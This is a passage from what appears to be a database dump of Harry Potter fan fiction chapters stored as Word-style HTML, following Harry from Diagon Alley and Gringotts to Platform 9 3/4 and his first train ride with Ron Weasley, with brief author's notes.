to go\noutside of the pub but it was packed like a sardine can. Harry knew at once\nthat he didn\'t want to try and deal with a crowd that size all trying to get\nhis autograph at once, but he was still restless. In an attempt to calm down\nHarry started practicing his meditation. Once he calmed down he realized that\nhe DIDN\'T have to stay in his room to avoid the crowd.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">There were two windows in his\nroom one of which faced the alley in between Gringotts\nand the Leaky Cauldron. There was a drainpipe right across from his window to.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry made his decision at once.\nHe opened the window, judged the distance carefully and jumped. Unfortunately\nthe pipe was wet and slipped out of Harry\'s grasp and Harry fell. The fall\nwould have been two stories, but acting quickly Harry did the splits, pushing\nhis feet against both walls. Although this slowed him considerably he didn\'t\nstop falling. About six feet from the ground Harry brought his legs back\nunderneath him and dropped, landing on his feet with as little noise as\npossible.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">For a moment Harry just stood there\nshaking his head at his stupidity. He should have realized the pipe was wet\nbefore his jumped. It would have been an embarrassing way to die. The boy that &quot;defeated You-Know-Who&quot; killed by a slippery\npipe.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">After calming down after the\nscare Harry made sure his hair was covering his scar and that his glasses were\ncovering his eyes and walked out of the alley as if it was a normal place to\nhave been. It worked perfectly. No one even glanced at him.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Now that Harry was free of the\nLeaky Cauldron he realized that there was one place he hadn\'t visited since the\nday he arrived, Gringotts. He decided that the best\nway to pass the day would be to ask the goblins at Gringotts\nabout his ability to see magical reactions. Supposedly it would be useful in\ncharms lessons. How it would be useful Harry had no idea.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">When Harry entered the bank it\nwas packed. He saw families in every line but one family in particular stood\nout with it\'s flaming red hair. It was also the\nbiggest group there. Harry was about to leave but when he turned to go there\nwas a goblin standing right in front of him.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Harry\nPotter I presume? I am Griphook. You were told about\nme yes?\' The short and slightly portly goblin said.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Shhhhh! Not so loud!\' Harry said glancing around to\nsee if anyone had noticed. Fortunately no one was looking in their direction\nexcept for a girl about Harry\'s age with bushy brown hair and cinnamon eyes,\nbut she blushed and quickly looked away when she saw Harry looking her way.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Yes I\nknow you. Or rather I know who you are. I was told that you could tell me about\nseeing magical reactions?\' Griphook nodded. \' Well I was wondering if you might explain it to me. If you\nhave the time, that is. It is kinda busy...\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Yes,\nyes. Of course. I would rather enjoy explaining it. I\nhave always been interested in any humans with the ability to see reactions in\nmagic. However, I don\'t think this would be a good place for us to talk. Follow\nme.\' And with that Griphook led Harry through a door\nbehind the tellers.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry spent most of the rest of\nhis last day at Diagon Alley learning about his\nability. Apparently there wasn\'t much to learn about it except for its history,\nwhich Harry forgot pretty much right away, and what different colours and shades meant. Unfortunately for Harry Griphook told him it probably wouldn\'t be of any use to him\nuntil his fourth or fifth year at Hogwarts. It was kind of disappointing to\nHarry who had hoped to have a bit of an advantage to make up for his lack of\nexperience.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">All in all Harry enjoyed talking\nwith Griphook and didn\'t leave for hours when he did\nleave he decided to simply head back to the Leaky Cauldron and pack in order to\nbe ready for the next day, and to practice his martial arts before bed.\nPracticing usually tired him out so this way he figured that he might be able\nto fall asleep before he had to actually get up the next day.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">As it was Harry still couldn\'t\nsleep until one o\'clock in the\nmorning and had terrible dreams once he did.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Someone pounding on his door\nwaked Harry up early the next morning. With bleary eyes Harry fumbled around\nuntil he found his glasses on his night table. He slipped them on hiding his\neyes from the morning sun and opened the door.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' About\ntime yeh got up Harry! The train leaves in a few\nhours and we\'ve still gotta get you packed up and to\nthe station.\' Hagrid said.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' ...I\'m\nalready packed...\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Yeh are? Well I\'ll be. Sorry about that I guess you\ndidn\'t need to get up quite yet then...\' Hagrid\nanswered looking quite sheepish.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Oh\nwell I\'m up now. I might as well double check everything.\' Harry mumbled and\nwent to have a shower and get dressed.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">After Harry had dressed, he and Hagrid double-checked everything and by the time they were\ndone Hagrid announced that it was time for them to\nleave.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Goodbye\nTom and thanks for letting me stay here.\' Harry said as he and Hagrid went out the door on their way to the bus stop.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Oh it\nwas no trouble at all. In fact it really did wonders for my business for people\nto hear that Harry Potter was staying here at the Leaky Cauldron. We\'ll all\nmiss you though. That\'s for sure.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Well thanx all the same. I had a wonderful time and I really owe\nyou for helping me have some privacy!\' Harry chuckled along with Hagrid.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Heh heh. Well it\'s only to\nbe expected yeh know Harry. Not only are YOU famous\nbut yer parents were much loved by all that knew them\nand for their son to be starting his first year in the wizarding\nworld... well people are happy for yeh!\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry just smiled a little and\nthen they left for the bus stop. Once they got there Hagrid\nput down Harry\'s trunk.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Well\nthis is where we part ways but I\'ll see yeh soon once\nyeh get to Hogwarts, Harry.\' he said and turned to\nleave.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' But I\nthought that you were coming with me? At least to the station?\'\nHarry asked bewildered.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Uh\nwell I\'d surely like to but... well Dumbledore needs me at Hogwarts before all\nthe students arrive. I\'ll wait till the bus gets here and help yeh with yer trunk but then yer on yer own. Nothing to worry about. Yeh got yer Hogwarts letter and all yer\nthings.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Ok\nthen. It\'s really not a problem I was just confused is all. If you need to be\ngoing then don\'t worry about me. I can manage.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Yeh sure? Yer trunk is\nawful heavy for someone yer size...\' but Hagrid stopped as Harry bent over and picked up his trunk\nwith just a little strain. \' Heh\nheh. Oh right. I keep forgettin\'\n&quot;Things are not always what they seem.&quot; especially with yeh Harry. Well I suppose if yer\nsure yeh kin handle it on yer\nown, then I\'d best be going.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' See\nyou in a while then Hagrid.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' At\nHogwarts then Harry!\' Hagrid called as he walked away\ndown the street.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' How is\nhe going to get to Hogwarts before me anyway?\' Harry wondered aloud as the bus\npulled up and the driver got out to open a door in the\nside for Harry\'s trunk.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Except for a bit of trouble with\nHedwig on the bus, Harry\'s ride to the station was uneventful compared to the\nlast few days. Harry got his trunk onto a trolley and put Hedwig\'s cage on top\nand wheeled everything into the station. It was half\n past ten so Harry had plenty of time to find his platform. He\npulled out his letter and found out that his platform was number 9 3/4. Harry\nlooked at the signs for the platforms and saw that he was at number 8. He\nturned right and walked to number... ten? Harry looked back at number nine, and\nthen looked in between nine and ten, but he couldn\'t find number 9 3/4\nanywhere. He couldn\'t even see how another platform would fit in between nine\nand ten.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry was starting to panic. The\ntrain would leave in fifteen minutes with or without him and he had no idea\nwhere the platform was! Harry took a breath and calmed down. Obviously platform\n9 3/4 was for wizards only so that would be why there was no sign of it. It\nmust be hidden like the Leaky Cauldron. Unfortunately Hagrid\nwasn\'t around this time to point it out to Harry.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry decided to try and find\nsome other wizards that might know how to get to 9 3/4. If he approached a muggle about it by mistake the worst that could happen\nwould be for him to be embarrassed. He started looking around for anyone that\nmight be a wizard. He looked for people in robes, with owls or any other\nwizardly thing that might give them away.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">However, when he did find a large\ngroup of wizards it was not by any of these clues that Harry picked them out.\nThey all had bright red hair.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Upon closer inspection he noticed\nthat one of the boys in the family was fiddling with a stick, which Harry\ncorrectly assumed to be his wand.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' George!\nPut that away! We\'re not on the platform yet!\' hissed the boys\nmother just loud enough for Harry to hear.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Oh\nhonestly mother. Even if a muggle DID notice do you\nreally think they\'d assume it is what it REALLY is? And anyway I\'m Fred not\nGeorge! Can\'t you even tell us apart?\' Gred\nreplied... or was it Feorge?</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">The woman sighed and shook her\nhead hiding a smile. \' You go first Percy you\'re\noldest.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">The oldest looking boy separated\nfrom the group and started walking towards the ticket barrier in between the\ntwo platforms. Harry watched him closely to see what he did but right before\n&quot;Percy&quot; reached the barrier a group of tourists walked in front of\nHarry and when Harry could see the barrier again Percy was gone. Luckily the\ntwins, Gred and Feorge were\nalready on their way and this time Harry\'s line of sight would be clear, but\nwhen they reached the barrier they simply vanished and Harry hadn\'t seen what\nthey had done.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">With a sigh Harry gave up on\ngetting to the platform with out talking to the group. He just hoped, as he\nwalked towards them, that they wouldn\'t see his scar.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Umm...\nExcuse me m\'am....\' Harry started.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Yes?\nOh! Is it your first time at Hogwarts dear?\' the plump woman asked as she\nturned around.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">At first Harry was taken aback.\nHow had she known? Then he realized that most muggles\ndidn\'t carry white owls with green eyes around with them.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Yes.\'\nHarry said. \' However I don\'t know how to get onto the\nplatform.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">She smiled kindly and said \' Not\nto worry dear. All you have to do is walk straight at the barrier three\nquarters of the way between nine and ten. Don\'t stop and don\'t worry that\nyou\'ll crash into it. Go on now, before Ron she said indicating a boy of about\nHarry\'s age but almost a foot taller with the same red hair as the rest of his\nfamily.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry nodded. \'\nOk.\' he said and started walking.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">When Harry was passing through\nthe barrier there were tiny sparkles of bright white light wherever Harry was\ntouching the barrier. Or rather the illusion of a barrier.\nHarry supposed that it was the magic of the illusion reaction to his own magic\nand letting him pass through that he was seeing. The lights kind of tickled\nwherever they touched him.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">On the other side of the barrier\nthere was a red steam engine waiting next to a platform packed with people. A\nsign over the platform said &quot;Hogwarts Express, eleven o\' clock.&quot;\nHarry allowed himself a small smile. He was on his way to a place where he\ncould learn magic. He was prepared to do anything to learn magic. Even if the\npeople were like the Dursleys he wasn\'t about to\nleave. The woman on the other side had surprised him. If it had been the Dursleys they probably would have shouted at him for\nbothering them or ignored him completely. Harry was still not used to the fact\nthat most people were nothing like the Dursleys.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">At least Harry could be sure that\nhe was in the right place. All over the place there were cats of EVERY colour and Harry could see many people with owls. All of\nwhich seemed to be going crazy hooting and flapping their wings in their cages.\nIn fact Harry\'s own Hedwig and a few of the owls closest to Harry were the only\ncalm owls. Harry wondered if this was one of Hedwig\'s special abilities. He\ndidn\'t have long to wonder though as more people were coming through the\nbarrier near him, though he didn\'t see anymore red heads yet.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry pushed his cart down the\nplatform towards the end of the train hoping there would be a compartment near\nthe back that was empty. The last few compartments were empty so Harry choose the very last one and carried Hedwig in. Then he came\nout for his trunk.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">As he was bending over to pick it\nup he heard one of the twins he\'d followed through shout out to him.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Oi there! Ya want a hand\nwith that?\' Fred (or George) asked as he trotted up to Harry.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' No\nthanks I\'ve got it.\' Harry answered and grabbed one handle and heaved it over\nhis shoulder to carry the trunk on his back. \' Thanks\nanyway.\' Harry said to the impressed twins.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry carried the trunk into his\ncompartment and set it in the corner.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Looks\nlike you\'re not as scrawny as you appear.\' said George (or Fred) as Harry wiped\nsome sweat from his forehead. The trunk hadn\'t been very heavy, at least not to\nHarry, but the station was rather warm today.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">In perfect unison the twins did a\ndouble take at Harry\'s scar and said \'Oi, what\'s\nthat?\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Blimey,\nare you-?\' said Fred (or George).</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' He\nis,\' said the other twin. \' aren\'t you?\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' What?\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Harry\nPotter!\' the twins said, once more in unison.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Oh,\nhim.\' said Harry. \' I mean, yes, I am.\'</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~`</p>\n\n<p class="MsoNormal">AN- Copying and pasting, copying and pasting, copying and\npasting&#8230;. This gets boring after a while&#8230;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">H/H FOREVER!</b></p>\n\n<p class="MsoNormal">Bye!</p>\n\n\n\n\n\n\n'),
	(17, 9, '\n\n\n\n\n\n\n\n<p class="MsoNormal">AN- Again I\'m sorry about the last chapter. I REALLY though\nHermione would be there, but I promise that she\'ll be in this one or else that\nI won\'t stop typing until she is!</p>\n\n<p class="MsoNormal">Bye!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">In perfect unison the twins did a\ndouble take at Harry\'s scar and said \'Oi, what\'s\nthat?\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Blimey,\nare you-?\' said Fred (or George).</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' He\nis,\' said the other twin. \' aren\'t you?\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' What?\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Harry\nPotter!\' the twins said, once more in unison.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Oh,\nhim.\' said Harry. \' I mean, yes, I am.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">The twins gaped. Having nothing\nto say Harry stood there and waited for some reaction. Just when the silence\nwas starting to get awkward the twins mother called\nfrom outside of the train.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Fred?\nGeorge? Are you there?\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Coming\nmum!\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">With a last glance at Harry the\ntwins left to talk to there mother. After getting settled Harry sat down to\nwait for the train to leave. He realized that he could see and hear the red\nhaired family from where he was sitting. Their mother had just pulled out her\nhandkerchief and was rubbing at an imaginary spot on the youngest boy\'s nose.\nHarry thought that this boy\'s name was Ron from what the mother had said\noutside the barrier. Eventually though the boy wriggled free with a now very\nred nose.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">The mother sighed and rolled her\neyes then glanced around and asked \' Where\'s Percy?\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Just then the oldest boy came\nwalking up. \' Can\'t stay long mother,\' he said. \' I\'m up front, the prefects have got two compartments to\nthemselves and-\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Oh are\nyou a prefect, Percy?\' said one of the twins acting very surprised. \' You should have said something, we had no idea!\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Hang\non, I think I remember him saying something about it,\' said the other twin. \' Once-\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Or\ntwice-\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' A\nminute-\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' All\nsummer-\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Oh\nshut up.\' said Percy the Prefect.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Once again the mother seemed, to\nHarry, to be doing her best to frown at the twins instead of smiling or\nlaughing. \' All right dear, well, have a good term and\nsend me an owl when you get there!\' She hugged Percy and then he left. \' As for you two- this year, behave! If I get one more owl\nthis year telling me you\'ve- you\'ve blown up a toilet or some-\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Blown\nup a toilet? We\'ve never blown up a toilet!\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Great\nidea though! Thanks mom!\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' It\'s\nnot funny!\' said their mother with her lips pressed together. Whether out of\nanger or to hide her smile Harry wasn\'t sure. \' And\ntake care of Ron.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Ron, who was already almost as\ntall as the twins rolled his eyes. His nose was still a bit pink.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Hey\nmom guess what? Guess who we just met on the train? HARRY POTTER!\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry quickly turned his head\naway so he could watch them from the side of his glasses but they wouldn\'t see\nhis eyes through the mirrored glasses and it would look like he was looking\nsomewhere else. (AN-WAY too long a sentence!)</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry saw the little girl asking\nher mum \' Oh can I PLEASE go on the train and see him mum!?\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' You\'ve\nalready seen him, Ginny, and the poor boy isn\'t some animal in a zoo. Is he\nreally Fred? How do you know?\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Asked\nhim. Saw his scar and everything. It\'s really there like lightning. Couldn\'t see his eyes through those glasses though.\' (AN-\nMost people probably missed it but Harry got mirror plated glasses to hide the\nblack eyes he sometimes got from Duddley. Check the\nfirst chapter.)</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Poor\ndear- no wonder he was alone. I wondered. He was ever so polite when he asked\nhow to get on to the platform.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Forget\nthat! Do you think he remembers what You-Know-Who looks like?\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Their mother suddenly became very\nserious. \' I FORBID you to ask him that, Fred. Don\'t\nyou DARE. As though he needs\nreminding of THAT on his first day of school.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' All\nright, all right. Keep your hair on.\' Said Fred though he\nlooked rather ashamed. Harry was surprised to realize that the boy was ashamed\nthat he might have upset Harry if he asked about Voldemort.\nHarry was beginning to find out that Most people cared\nabout their relatives but that someone that didn\'t really even know him would\ncare about his feelings... it gave Harry an odd feeling in his stomach. Like he\nhad eaten too much, only it was a pleasant feeling.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Just then a whistle blew signalling that the train was getting ready to leave and\nthe three boys hurried onto the train after hugging their mother goodbye.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">A moment later the youngest boy\nof the group came into Harry\'s compartment lugging a trunk that looked rather\nheavy. \' Mind if I stay in here with you? All the\nother compartments are full.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Sure,\nno problem.\' Harry replied and got up to help the boy get his trunk stowed away\nunder the seats.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Just as they were sitting down\nFred and George burst in.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Hello.\nWe didn\'t get a chance to introduce ourselves before. I\'m George, this is Fred\nand this is our brother Ron.\' said George pointing at Ron. \'\nAnd of course we know who you are.. Uh Mr. Potter.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Please!\nCall me &quot;Harry&quot;. It\'s really weird to be called &quot;Mr.&quot;. Especially by people older than you. And it\'s nice\nto meet you all.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' We\'re\ngoing to go see what animal Lee brought this year. Either of you wanna come?\' Asked Fred.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' No thanks.\nThink I\'ll just stay here and relax.\' Answered Harry.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Yeah. Me too.\' Ron said.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Alright\nsee ya later.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Yeah,\nsee ya Ron. Bye Harry!\' and then the twins left.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Are\nyou really Harry Potter?\' Ron blurted out.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Yes I\nam.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Do you\nreally have a...\' Ron trailed off as his eyes traveled to Harry\'s forehead.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry took off his glasses so Ron\ncould see his eyes, his eyesight wasn\'t TOO bad, and brushed his hair off his\nforehead.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Wow!\nSo that\'s where You-Know-Who...?\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Yep,\nbut I really can\'t remember anything other than a bright green light.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Ron looked a little disappointed\nat this but at the same time relieved. He sat and stared at Harry for a while\nbefore realizing what he was doing and he quickly looked away out the window.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' So is\neveryone in your family a wizard?\' Harry asked as interested in Ron as Ron was\nin Harry.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' I\nthink so. We might have a cousin that\'s an accountant but I don\'t know because\nwe don\'t really talk about him much. I heard that you had to live with muggles. What were they like?\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Well I\ncan\'t really describe them because I\'ve always lived with them. Because of that\nI haven\'t experienced anything else to compare them with. People keep telling\nme how horrible they are though. The Dursleys I mean,\nnot muggles. \'Harry explained. \' I\nwish I\'d had three wizard brothers.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Five.\'\nsaid Ron suddenly looking depressed. \' I\'m the sixth Weasley to go to Hogwarts. I guess you could say I\'ve got a\nlot to live up to. Bill and Charlie have already left. Bill was Head Boy and\nCharlie was the captain of the quidditch team. Now\nPercy\'s a prefect, Fred and George mess around a lot but get really good marks\nand everyone thinks they\'re really funny. Everyone will expect me to do well\nalso but if I do it won\'t be a big deal because they\'ll have done it first. And\nwith five brothers you don\'t get much new stuff. I\'ve got Bill\'s old robes,\nCharlie\'s old wand and Percy\'s old rat.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Ron pulled a sleeping fat rat out\nof his jacket.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' His\nname\'s Scabbers and he\'s completely useless. The only\nreason I got Scabbers is because Dad got Percy an owl\nfor being made a prefect and they couldn\'t affor... I\nmean, I got Scabbers instead.\' Ron stopped talking\nseeming to think that he had said too much.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry was wondering why Ron would\nbe embarrassed by not having enough money for something. After all he had never\nhad any money to speak of and everything he had other than the absolute\nnecessities was from generous people like Mr. Osakawa. He told Ron all this and it seemed to make him\nfeel better. So Harry continued on to tell Ron about having to wear Duddley\'s old clothes, which Ron seemed to find hilarious,\nand never having a birthday party (Harry usually had to look at his birth\ncertificate to remember when his B-Day was) at which Ron got quiet and sort of\nangry.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\'...and until Hagrid\ntold me about it I had no idea I was even a wizard! I didn\'t even believe in\nmagic! I didn\'t know about my parents or Voldemort\nor-\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Ron gasped.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' What?\'\nHarry asked.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' You\nsaid You-Know-Who\'s name!\' Ron said sounding shocked and impressed. \' Although I guess it makes sense that YOU\'RE not afraid of\nhim.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' I\'m\nnot trying to be brave or something saying is name. I just never knew I\nshouldn\'t. You see what I mean? I\'ve got loads to learn that will be common\nsense to most other people at Hogwarts. I bet...\' Harry said, with a sort of\nself-depreciating smirk. \'...I\'m the worst in the class.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Naw, you won\'t be. There\'s loads of muggle born kids and they learn quick enough.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">After that they were quiet for a\nwhile, letting the scenery speed by. At about half\n past twelve a dimple woman with curly hair opened their door and\nasked \' Would you like anything from the trolley dears?\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry jumped up and ran to the\ndoor not having had breakfast. Ron on the other hand just mumbled something\nabout having brought sandwiches. Harry was ready to buy as many chocolate bars\nas he could carry as it was the first time he had ever had extra money to buy\nthem with. However, the woman didn\'t have chocolate bars. In fact the closest thing Harry found to chocolate bars were called chocolate\nfrogs. Not knowing what to get Harry got a few of everything and did his best\nto carry them back into the compartment without dropping any.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Hungry\nare you?\' Ron asked with a bemused expression on his face.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Yeah.\nI missed having breakfast.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Ron had taken out a lumpy package\nand unwrapped it. It contained four sandwiches.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' She\nalways forgets that I don\'t like corned beef.\' Ron sighed.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Swap ya one for a pasty?\' Harry said.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Ron looked uncertain.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Go on,\nhave a pasty. I\'m not gonna eat them all myself!\'\nHarry encouraged.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">It was a nice feeling sitting\nthere with Ron eating their way through all Harry\'s cauldron cakes and pumpkin\npasties. Harry had never had anything to share with anyone before and if he had\nhe wouldn\'t have had anyone to share it with.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' These\naren\'t REALLY frogs are they?\' asked Harry holding up a &quot;Chocolate\nFrog&quot;.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' No,\nbut check out what the card is. I\'m missing Agrippa.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' What?\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Oh\nyeah. I guess you wouldn\'t know about that. There are cards of famous witches\nand wizards inside to collect. I\'ve got about five hundred but I\'m missing\nAgrippa and Ptolemy.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry opened the package and\nlooked at the card while eating the chocolate frog. It was Dumbledore.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' So\nthis is Dumbledore.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Don\'t\ntell me you\'ve never heard of Dumbledore!? Oh sorry, I guess you wouldn\'t\nhave.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry and Ron spent a while\neating all the things Harry had bought and were almost half way through when a\nround faced boy that Harry had passed on the platform open their door.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Excuse\nme but have you seen a toad at all? Only I\'ve lost mine.\' he asked tearfully.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Sorry\nno, but here. Have a chocolate frog. We can\'t eat them all ourselves and I\'m\nsure your toad will turn up.\' Harry said passing the boy a\nfrog.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Thanks.\'\nthe boy said looking rather surprised then turned and left.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Ron sort of smiled and shook his\nhead at Harry thinking that the great Harry Potter was much different then he\nhad expected.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Huh.\nWell I guess there\'s no danger of me losing 